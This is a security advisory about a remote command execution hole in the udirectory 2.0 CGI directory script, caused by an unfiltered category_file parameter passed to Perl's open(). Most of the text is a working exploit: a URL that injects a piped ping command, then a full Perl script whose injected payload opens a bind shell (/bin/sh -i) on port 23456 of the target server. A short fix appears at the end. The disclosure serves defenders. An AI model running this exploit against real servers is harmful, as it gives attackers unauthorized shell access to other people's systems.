|
Vulnerability udirectory Affected udirectory 2.0, possibly earlier versions Description Igor Dobrovitski found following. udirectory from Microburst Technologies allows remote command execution. uDirectory is an online directory and listing management system that allows you to easily create, update, and maintain an on-line directory... The offending code in subroutine check_for_duplicate_listing: open (CATEGORY_FILE, $gData_directory . $category_file) || &return_error("File Error","Unable to open " . $gData_directory . $category_file); $category_file is passed by the user. There's no metacharacter filtering. Old boring stuff, but still a bug. Exploit: http://www.example.com/cgi-bin/udirectory.pl?MAIN_FIELD=blah&command=add_new_listing&category_file=/../../../../../../../bin/ping+-c+2+x.x.x.x|' or this: #!/usr/bin/perl -w # management, e-commerce ... blah... # exploit by Igor Dobrovitski noident@my-deja.com # This program will spawn /bin/sh on server's port 23456 and tell you if it thinks it succeded # Enjoy use Socket; $| = 1; #################################################################################################### $exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol);setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, ">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}'; #################################################################################################### unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ustore.pl\n"} ($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|; print "Engaging the enemy. Please stand by...\n"; foreach my $perl_path ('/usr/bin/perl', '/usr/local/bin/perl') { print "Trying $perl_path\n\n"; my $cmd = $perl_path . ' -e \'' . $exec_code . '\'|'; for(my $i=1;$i<=10;$i++) { print "try $i\n"; $cmd = '/..' . $cmd; $form = makeform({'category_file' => $cmd, 'MAIN_FIELD' => 'blah', 'command' => 'add_new_listing' }); my @reply = &send($form); } } &oops_the_sploit_did_not_work(); sub makeform { my $string; my @blah; my $line = ''; my $here; my %data = %{$_[0]}; foreach my $key (keys %data) { $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB'; } $line =~ s|^(.*)BBBB$|$1|; $line =~ s/\\n/\n/g; $line =~ s/\\t/\t/g; $line =~ s/\\e/\e/g; $line =~ s/\\f/\f/g; $line =~ s/\\r/\r/g; $line =~ s/\\0/\0/g; foreach my $char (split //, $line) { if($char !~ m/[A-Za-z0-9._ ]/) { $char = unpack "H2", $char; $char = '%' . "$char"; } push @blah, $char; } $string = join "",@blah; $string =~ s/AAAA/=/g; $string =~ s/BBBB/&/g; $string =~ s/ /+/g; my $cont_len = length($string); $here = <<EOF; POST $scriptpath HTTP/1.0 User-Agent: Mozilla (Windows 98) Host: $host Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: en Accept-Charset: iso-8859-1,*,utf-8 Content-type: application/x-www-form-urlencoded Content-length: $cont_len $string EOF return $here; } sub send { my $form_to_send = shift; my $h = inet_aton($host) or die "Forward lookup for $host failed\n"; socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n"; unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"; close(S); exit 1 } select(S); $|=1; print "$form_to_send"; local $SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nBe good and hack wisely.\n"; exit }; alarm(20); my @reply=<S>; select(STDOUT); close(S); return @reply; } sub oops_the_sploit_did_not_work { print STDERR "The exploit didn't work on this host\nSorry...\n"; exit; } Solution In sub parse_form_data find the line: $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg; after this line add: $value =~ s/(\.\.|\|$)//g; The best thing you can do is to refuse to process a "poisoned" value rather than try to "neutralize" it. Another approach, still quite safe, is to filter out *all but known-to-be-harmless* characters with tr///.